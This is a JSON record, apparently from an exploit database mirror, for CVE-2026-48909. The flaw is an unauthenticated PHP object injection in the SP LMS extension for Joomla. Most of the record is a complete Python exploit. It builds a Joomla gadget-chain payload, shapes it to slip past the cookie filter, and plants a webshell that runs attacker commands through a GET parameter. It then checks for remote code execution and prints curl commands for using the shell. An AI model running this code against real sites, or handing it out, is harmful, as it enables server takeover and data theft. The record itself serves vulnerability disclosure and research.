{"exploit":{"id":"EDB-52617","name":"Joomla Extension 4.1.4 - PHP Object Injection","description":"Joomla Extension 4.1.4 - PHP Object Injection","cves":["CVE-2026-48909"],"author":"Amin İsayev","published":"2026-07-06","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52617","path":"exploits/php/webapps/52617.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52617.py","vulnerabilities":[{"id":"CVE-2026-48909","state":"PUBLISHED","title":"Joomla Extension - joomshaper.com - PHP Object injection in SP LMS extension for Joomla < 4.1.4","titleSource":"CVE Program","description":"SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48909","cvss":{"version":"4.0","baseScore":9.5,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"Joomla","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48909"},"updatedAt":"2026-06-23T05:52:22.025Z","retrievedAt":"2026-11-25T16:13:47.505Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52617.png?v=2","url":"https://exploitbin.com/exploits/EDB-52617","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52617/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52617/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection\nAffected : JoomShaper SP LMS <= 4.1.3\nFixed    : JoomShaper SP LMS >= 4.1.4\nAuthor   : Amin İsayev / Proxima Cyber Security\n\nJoomla version note:\n  RCE requires Joomla < 5.2.2\n  Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the\n  gadget chain — PHP Object Injection still exists in com_splms but no\n  known public gadget chain leads to RCE on patched Joomla versions.\n\nAttack chain:\n  lmsOrders cookie\n  → unserialize(base64_decode($cookie))          [com_splms/models/cart.php:28]\n  → FormattedtextLogger.__destruct()              [Joomla gadget]\n  → File::write($path, $format)\n  → webshell on disk\n\nJoomla Input filter note:\n  $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.\n  Fix: pad format string so serialized total is divisible by 3 (no '=') and\n  iterate until base64 has no '/' (shifts encoding).\n\n  Format string uses hex2bin() to avoid forbidden chars: $ _ { } \\n\n\nUsage:\n  python3 CVE-2026-48909_exploit.py <target> <server_path>\n\n  server_path = absolute PHP-writable path on server\n  Examples  :\n    /var/www/html/tmp/x.php\n    /home/USER/public_html/tmp/x.php\n    /var/www/vhosts/site.com/httpdocs/tmp/x.php\n\"\"\"\n\nimport sys\nimport base64\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n\nCART_PATH = \"/index.php?option=com_splms&view=cart\"\nTIMEOUT   = 15\nWEBSHELL  = '<?php fpassthru(popen($_GET[\"c\"],\"r\"));?>'\n\n# ─── PHP serializer ───────────────────────────────────────────────────────────\n\ndef _s(s: str) -> str:\n    return f's:{len(s.encode())}:\"{s}\";'\n\ndef _pk(name: str) -> str:\n    \"\"\"Protected property key (null-byte notation for string concat)\"\"\"\n    return f'\\x00*\\x00{name}'\n\ndef _build_serialized(webshell_path: str, fmt: str) -> str:\n    \"\"\"Build the raw PHP serialized string (not yet base64).\"\"\"\n    entry = (\n        'O:23:\"Joomla\\\\CMS\\\\Log\\\\LogEntry\":3:{'\n        's:4:\"date\";s:10:\"1234567890\";'\n        's:4:\"time\";s:1:\"t\";'\n        's:1:\"f\";s:3:\"xxx\";'\n        '}'\n    )\n    cn = 'Joomla\\\\CMS\\\\Log\\\\Logger\\\\FormattedtextLogger'\n\n    props = (\n        _s(_pk('defer'))    + 'b:1;' +\n        _s(_pk('options'))  + 'a:1:{s:16:\"text_file_no_php\";b:1;}' +\n        _s(_pk('path'))     + _s(webshell_path) +\n        _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +\n        _s(_pk('format'))   + _s(fmt) +\n        _s(_pk('fields'))   + 'a:0:{}'\n    )\n    return f'O:{len(cn.encode())}:\"{cn}\":6:{{{props}}}'\n\n\ndef build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:\n    \"\"\"\n    Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.\n\n    The filter strips '/', '=' and '+'. We avoid these by:\n      1. Encoding php_code as hex → no '$', '_', '{', '}', '\\\\n' in format\n      2. Padding format to make total serialized length divisible by 3 → no '=' padding\n      3. Iterating pad size (by 3) until base64 contains no '/' chars\n\n    Returns (base64_payload, format_length).\n    \"\"\"\n    hex_code   = php_code.encode().hex()\n    core       = f'<?php fwrite(fopen(\"{webshell_path}\",\"w\"),hex2bin(\"{hex_code}\"));'\n    pad_prefix = '/*'\n    pad_suffix = '*/;?>'\n\n    PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\n\n    for target_fmt_len in range(200, 8000):\n        pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)\n        if pad_len < 0:\n            continue\n\n        # Quick mod-3 check with first pad_char before trying all 62\n        fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix\n        ser_probe  = _build_serialized(webshell_path, fmt_probe).encode('latin-1')\n        if len(ser_probe) % 3 != 0:\n            continue  # no pad_char can fix mod-3 alignment for this length\n\n        for pad_char in PAD_CHARS:\n            fmt = core + pad_prefix + pad_char * pad_len + pad_suffix\n\n            serialized = _build_serialized(webshell_path, fmt)\n            ser_bytes   = serialized.encode('latin-1')\n            b64 = base64.b64encode(ser_bytes).decode()\n\n            if '/' not in b64 and '+' not in b64:\n                return b64, len(fmt)\n\n    raise RuntimeError(\"Could not find filter-safe payload — try a different path\")\n\n\n# ─── Exploit ──────────────────────────────────────────────────────────────────\n\ndef _server_path_to_url(server_path: str) -> str:\n    \"\"\"Strip webroot prefix to get the URL path.\"\"\"\n    import re\n    # cPanel: /home[N]/USER/public_html/...\n    m = re.match(r'^/home\\d*/[^/]+/public_html(/.*)', server_path)\n    if m:\n        return m.group(1)\n    # Plesk: /var/www/vhosts/DOMAIN/httpdocs/...\n    m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)\n    if m:\n        return m.group(1)\n    # Standard\n    for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):\n        if server_path.startswith(prefix):\n            return server_path[len(prefix):]\n    return server_path\n\n\ndef exploit(target: str, server_path: str) -> None:\n    url_path = _server_path_to_url(server_path)\n\n    cart_url  = target.rstrip('/') + CART_PATH\n    shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)\n\n    session = requests.Session()\n    session.verify = False\n    session.headers.update({\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',\n        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n        'Accept-Language': 'en-US,en;q=0.5',\n    })\n\n    print(f\"[*] Target     : {target}\")\n    print(f\"[*] Shell path : {server_path}\")\n    print(f\"[*] Shell URL  : {shell_url}\")\n\n    print(\"[*] Building filter-safe payload...\")\n    payload, fmt_len = build_payload(server_path, WEBSHELL)\n    print(f\"[*] Format len : {fmt_len} bytes  |  Base64 len: {len(payload)}\")\n    print(f\"[*] Payload    : {payload[:60]}...\")\n    print()\n\n    try:\n        r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)\n        status = r.status_code\n        if status == 500:\n            print(f\"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)\")\n        elif status == 200:\n            print(f\"[?] HTTP 200 — payload may have been filtered or gadget not triggered\")\n        else:\n            print(f\"[?] HTTP {status}\")\n    except requests.RequestException as e:\n        print(f\"[!] Request failed: {e}\")\n        return\n\n    import time; time.sleep(1)\n\n    # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell\n    print(\"[*] Step 1: triggering fopen/fwrite loader...\")\n    try:\n        r1 = session.get(shell_url, timeout=TIMEOUT)\n        print(f\"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)\")\n    except requests.RequestException as e:\n        print(f\"[!] Loader request failed: {e}\")\n\n    # Step 2: verify RCE\n    print(\"[*] Step 2: checking shell...\")\n    try:\n        rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)\n        if rv.status_code == 200 and 'uid=' in rv.text:\n            print(f\"\\n[+] SHELL ACTIVE!\")\n            print(f\"[+] id: {rv.text.strip()[:200]}\")\n            print(f\"\\n    curl -sk '{shell_url}?c=COMMAND'\")\n        elif rv.status_code == 200 and len(rv.text.strip()) < 600:\n            print(f\"\\n[~] File accessible:\")\n            print(f\"    {rv.text.strip()[:300]}\")\n            print(f\"\\n    Try again: curl -sk '{shell_url}?c=id'\")\n        elif rv.status_code == 404:\n            print(f\"[-] Shell not found (404) — file not written or wrong path\")\n            print(f\"    Common paths: /tmp/x.php  /images/x.php  /cache/x.php\")\n        elif rv.status_code == 403:\n            print(f\"[~] 403 — file may exist but PHP not served there\")\n        else:\n            print(f\"[-] HTTP {rv.status_code}\")\n    except requests.RequestException as e:\n        print(f\"[!] Shell check failed: {e}\")\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(__doc__)\n        sys.exit(1)\n\n    exploit(sys.argv[1], sys.argv[2])\n\n\nif __name__ == '__main__':\n    main()","sha256":"bd525c9f66313b31afc2e2dac39dab2dce6c70e215e724b9196adc7e3408b81c","bytes":8314,"fetchedAt":"2026-11-26T08:58:55.673Z","encoding":"utf-8 (display only; download retains original bytes)"}